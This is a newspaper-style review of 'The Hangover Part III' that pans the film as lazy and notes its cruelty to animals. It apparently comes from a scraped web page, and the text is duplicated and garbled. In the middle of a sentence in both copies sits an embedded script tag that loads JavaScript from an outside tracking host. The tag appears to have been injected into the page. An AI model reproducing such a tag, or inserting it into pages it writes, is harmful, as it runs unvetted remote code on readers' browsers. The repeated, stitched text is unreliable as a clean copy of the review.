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The Wolfpack rides again. Or rather, it limps exhaustedly over the tundra in what is billed as the final edition of the “Hangover” trilogy. Defanged, with glazed eyes and creaking joints, these superannuated party animals try vainly to stir up some enthusiasm during a return visit to Las Vegas, the site of the first “Hangover” movie. But their heart isn’t in it. As the expectant audience at the screening I attended waited for “The Hangover Part III” to explode into action with the usual lewd gross-out antics, only a few scattered laughs could be heard, along with much grumbling after the final credits. For “The Hangover Part III,” directed by Todd Phillips from a screenplay he wrote with Craig Mazin, is a dull, lazy walkthrough that along with “The Big Wedding” has a claim to be the year’s worst star-driven movie. — Stephen Holden
As the expectant audience at the screening I attended waited for “The Hangover Part III” to explode into action with the usual lewd gross-out antics, only a few scattered laughs could be heard, along with much grumbling after the final credits. For “The Hangover Part III,” directed by Todd Phillips from a screenplay he wrote with Craig Mazin, is a dull, lazy walkthrough that along with “The Big Wedding” has a claim to be the year’s worst star-driven movie.
In case you need to be reminded, or somehow missed the earlier editions, the Wolfpack includes Phil (Bradley Cooper), Doug (Justin Bartha), Stu (Ed Helms) and Alan (Zach Galifianakis), four of the unlikeliest on-the verge-of-middle-age buddies ever to join forces in search of adventure. Phil is the charmer, Doug the straight arrow, Stu the square, and Alan the infantile id.
“The Hangover Part III” concentrates more on Alan than the earlier movies did, and on their troublemaking sometime sidekick and nemesis, the whiny-voiced, sociopathic Asian gangster Mr. Chow (Ken Jeong). An early scene in which Alan is speeding home in his sports car with a giraffe in an attached trailer promises more comedy than is subsequently delivered. As Alan reaches an underpass, his long-necked pet is decapitated, and the accident causes a traffic pileup. It is the first of several acts of cruelty to animals. Dogs are shot, and a coked-up chicken is smothered.
After the giraffe mishap, the other Wolfpack members stage an intervention to which Alan reluctantly agrees. While taking him to a rehab center, they are intercepted by a hulking mobster named Marshall (John Goodman)<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=45cac13a700ec90f065543b8d6b96e10"></script> and his goons wearing pig masks. Marshall blames Chow for stealing millions of dollars of gold bricks and takes Doug as a hostage until Chow is brought to him, along with the gold.
The story awkwardly zigzags to Mexico and back. When the guys discover that Chow is in Las Vegas, holed up in a heavily guarded penthouse suite with drugs and escorts at Caesars Palace, they re-enter Sin City — where all their troubles began — and try to capture him. These Las Vegas adventures are a sequence of perfunctory stunts: entering the penthouse from the roof on tied-together sheets, Chow’s escaping by parachute and the tedious chasing that pads out the movie.
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The Wolfpack rides again. Or rather, it limps exhaustedly over the tundra in what is billed as the final edition of the “Hangover” trilogy. Defanged, with glazed eyes and creaking joints, these superannuated party animals try vainly to stir up some enthusiasm during a return visit to Las Vegas, the site of the first “Hangover” movie. But their heart isn’t in it. As the expectant audience at the screening I attended waited for “The Hangover Part III” to explode into action with the usual lewd gross-out antics, only a few scattered laughs could be heard, along with much grumbling after the final credits. For “The Hangover Part III,” directed by Todd Phillips from a screenplay he wrote with Craig Mazin, is a dull, lazy walkthrough that along with “The Big Wedding” has a claim to be the year’s worst star-driven movie. — Stephen Holden
As the expectant audience at the screening I attended waited for “The Hangover Part III” to explode into action with the usual lewd gross-out antics, only a few scattered laughs could be heard, along with much grumbling after the final credits. For “The Hangover Part III,” directed by Todd Phillips from a screenplay he wrote with Craig Mazin, is a dull, lazy walkthrough that along with “The Big Wedding” has a claim to be the year’s worst star-driven movie.
In case you need to be reminded, or somehow missed the earlier editions, the Wolfpack includes Phil (Bradley Cooper), Doug (Justin Bartha), Stu (Ed Helms) and Alan (Zach Galifianakis), four of the unlikeliest on-the verge-of-middle-age buddies ever to join forces in search of adventure. Phil is the charmer, Doug the straight arrow, Stu the square, and Alan the infantile id.
“The Hangover Part III” concentrates more on Alan than the earlier movies did, and on their troublemaking sometime sidekick and nemesis, the whiny-voiced, sociopathic Asian gangster Mr. Chow (Ken Jeong). An early scene in which Alan is speeding home in his sports car with a giraffe in an attached trailer promises more comedy than is subsequently delivered. As Alan reaches an underpass, his long-necked pet is decapitated, and the accident causes a traffic pileup. It is the first of several acts of cruelty to animals. Dogs are shot, and a coked-up chicken is smothered.
After the giraffe mishap, the other Wolfpack members stage an intervention to which Alan reluctantly agrees. While taking him to a rehab center, they are intercepted by a hulking mobster named Marshall (John Goodman)<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=45cac13a700ec90f065543b8d6b96e10"></script> and his goons wearing pig masks. Marshall blames Chow for stealing millions of dollars of gold bricks and takes Doug as a hostage until Chow is brought to him, along with the gold.
The story awkwardly zigzags to Mexico and back. When the guys discover that Chow is in Las Vegas, holed up in a heavily guarded penthouse suite with drugs and escorts at Caesars Palace, they re-enter Sin City — where all their troubles began — and try to capture him. These Las Vegas adventures are a sequence of perfunctory stunts: entering the penthouse from the roof on tied-together sheets, Chow’s escaping by parachute and the tedious chasing that pads out the movie.